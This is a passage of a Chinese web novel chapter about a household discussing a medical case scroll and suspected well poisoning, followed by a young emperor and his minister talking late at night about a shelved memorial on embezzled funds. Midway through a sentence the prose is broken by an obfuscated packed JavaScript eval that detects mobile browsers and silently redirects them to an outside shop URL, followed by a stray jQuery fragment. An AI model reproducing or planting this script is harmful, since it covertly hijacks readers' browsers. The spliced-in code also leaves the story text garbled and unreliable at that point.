“他还说了一句话。”方生生顿了一下，“他说——‘如果这病真的是有人在投，那他们选的是井，不是河。河是流的，水会走。井是死的，喝了就是喝了。’”
屋里的灯花又爆了一声，这次比刚才响了一些。火苗跳了一跳，重新稳住。窗外起风了，桂花树被吹得沙沙响，几片叶子从窗缝里挤进来，落在窗台上。王杏英伸手把那几片叶子拈起来放在桌角，又把手收了回去。
方生生把油纸包放进自己带来的布袋里，系好袋口。
“这卷医案我先收着。你要是想再看，随时来拿。我在家的时候不多，但东西放的地方你找得到。”
落泽芝点了点头。她没有说‘好’，也没有说‘我知道了’，只是点了一下头，像是某种不需要用语言确认的事已经说完了。
方生生站起来，把布袋搭在肩上，走到门口时又停了一步。
“泽芝，”她说，“这件事你别跟孩子们说。他们还小。”
“我知道。”家里十多个孩子，都是要大不大要小不小的年纪，她自然是不会说。
“那我说完了。”
方生生推开门走了出去。她的背影在门外的夜色里被檐下的灯光照了一下又暗了，拐过廊角之后脚步声渐渐远去，融入院子里那些夜晚特有的细碎声响中——虫鸣、风过树梢的沙沙声、远处巷子口谁家的狗叫了两声又停了。
落泽芝在窗边坐了一会儿。王杏英重新拿起剪刀裁那块月白色的棉布，刀刃落下去的声音一下一下的，均匀而稳。
落泽芝听着那声音，忽然伸手把窗台上那两片桂花叶子拿起来看了看。
叶片不大，边缘已经有些卷了，颜色也黄了大半，是秋天快过去的征兆。
她把叶子放回窗台，站起来走到柜子前面，拉开柜门，在最里面那层摸到了那只铁盒子的边缘。
她没有打开，只是用手掌按了按盒盖，感觉到那只靛蓝小荷包还在里面安静地待着，然后合上柜门，转身走回桌边。
“大嫂，”她说，“你刚才说要去城东买几把好剪刀的事，明天去吗？”
“明天去。”王杏英头也不抬，“你跟我一起？”
“一起去。”落泽芝在椅子上重新坐下来，把那只没绣完的帕子拿起来，“顺便走走，透透气。”
王杏英‘嗯’了一声，手里的剪刀继续稳稳地落下去。
窗外的风吹得更猛了一些，把廊下那盆薄荷吹得叶子翻过来又翻回去，但屋里的两个人谁也没有再去关窗。灯盏里的火苗在风里摇了摇，又自己稳住了。
回家的路上，方生生走的步子不快不慢。夜风从袖口灌进去，裹着她身上还没来得及散干净的旧药味，顺着衣料一路往下走。她走到巷口拐弯的时候，忽然站住，低头看了一眼自己腰间的布袋——布袋里那卷油纸包安安静静地贴着布面，隔着布料能摸到纸页的棱角。
伸手在布袋外面按了一下，像是在确认什么，然后继续往前走。她走过了两条街，在自家院门口停下来，正要推门，忽然听到身后几步远的地方有人咳嗽了一声。她回头——落叶凡站在巷子口，手里提着一盏没点亮的灯笼，正看着她。
“回来了？”
“回来了。”
“你走的时候没吃晚饭，厨房里留了一份，在灶台上温着。”
落叶凡走过来接过她手里的布袋，掂了掂分量，什么也没问，推开了院门让她先进去，“进屋吧。外面凉了。”
方生生跨进门槛的时候，回头往巷子外看了一眼。巷子口空荡荡的，没有人影，只有一盏还没点亮的灯笼搁在墙根下。她把视线收回来，走进了自家院子。院门在她身后合上，门闩落槽的声音闷而沉，像一块石头放回了原位。
上京，子时三刻。
御书房的灯还亮着。三盏铜灯把整间屋子照得亮堂堂的，但灯光落在那张堆满了奏疏的御案上时，却像是被那些层层叠叠的纸页吸走了一层亮度，显出一种沉闷的、不透气的黄。案后的年轻人穿着一身玄色常服，领口微敞，袖口挽到了小臂，正低头看一份刚送进来的折子。
他看了两遍，搁下，又拿起另一份，翻了两页，眉心微微蹙起。
炎崇帝，元星弘，字：子墨，今年二十四岁。
登基三年多——严格说是三年零七个月，如果算上三个月的守制期，他在龙椅上坐的时间即满四年。但他看起来比四年前老了一些，不是面容上的老，是眼神里多了一层东西，像清水的底部慢慢沉了些细碎的沙，水还是清的，但已经不是完全透亮了。
他把手里那份折子翻到最后一页，看了署名，嘴角微微弯了一下——那是一个他认得的名字，一个在六部里熬了十几年还没熬出头的老郎中，折子里写的是一件不大不小的事：州府医馆的药材采购账目对不上，差了二百多两银子。老郎中没有直接说谁贪了，但账目上的出入列
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17806230|210736||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得清清楚楚，最后附了一句话：“臣不敢妄议，但恐日久成习，积弊难返。”
炎崇帝看完之后没有批，也没有搁下。拿着那份折子站起来，走到窗边，推开了一条缝。夜风从缝隙里挤进来，带着上京秋天特有的那种干冷和远处街巷里隐约的梆子声——三更。
“陛下。”
身后传来一个声音，低而稳，像水在平缓处流过。
炎崇帝没有回头：“张大人还没走？”
“臣还在看工部递上来的河工折子。”
张良辰从御案侧面的凳子上站起身，他的身形不高，微微有些发福，但站姿端正，一看就是做了几十年官磨出来的规矩。他走到炎崇帝身后三步远的地方停了，没有再往前。
“陛下手里那份折子，是吏部郎中宋远山递的？”
“你也看了？”
“他誊了两份，一份递到您这儿，一份递到了内阁。”张良辰说，“臣今天下午看到了。”
炎崇帝把窗扇合回来，转身看着他：“内阁怎么说的？”
张良辰沉默了一下。
“内阁那边……没有批。孟次辅说那笔账是去年年底的旧账了，当时经手的人已经调走，查起来太麻烦。建议把折子存档，等明年对账的时候一并处理。”
“存档。”
炎崇帝重复了一遍这两个字，声音不高，但他捏着折子的手指比刚才用了几分力，纸页边缘被压出了两道浅浅的折痕。
“宋远山在吏部熬了十四年，头一回递折子弹劾人。递上来之后被‘建议存档’。他下一次再递折子，大概是十四年后了。”
张良辰没有接话。他知道这种时候不用接话，皇帝只是在说，不是在问。他站在三步之外，等着那阵沉默自然地过去。
炎崇帝把那份折子放在窗台上，没有拿回御案。他走回桌边坐下，端起案上那杯已经凉透了的茶喝了一口，放下。
“张大人，你在我父皇手底下做了多少年官？”
“臣是崇宁十七年入的仕。”张良辰说，“先帝在位的时候臣在工部待了十一年，到陛下登基才调到内阁。”
“十一年。”炎崇帝把茶杯转了转，“那你应该记得我皇兄。”
张良辰的呼吸顿了一下。
他没有立刻答话，但站姿比方才更端正了一些。
“记得。”
“你觉得他如果活到现在，会怎么做？”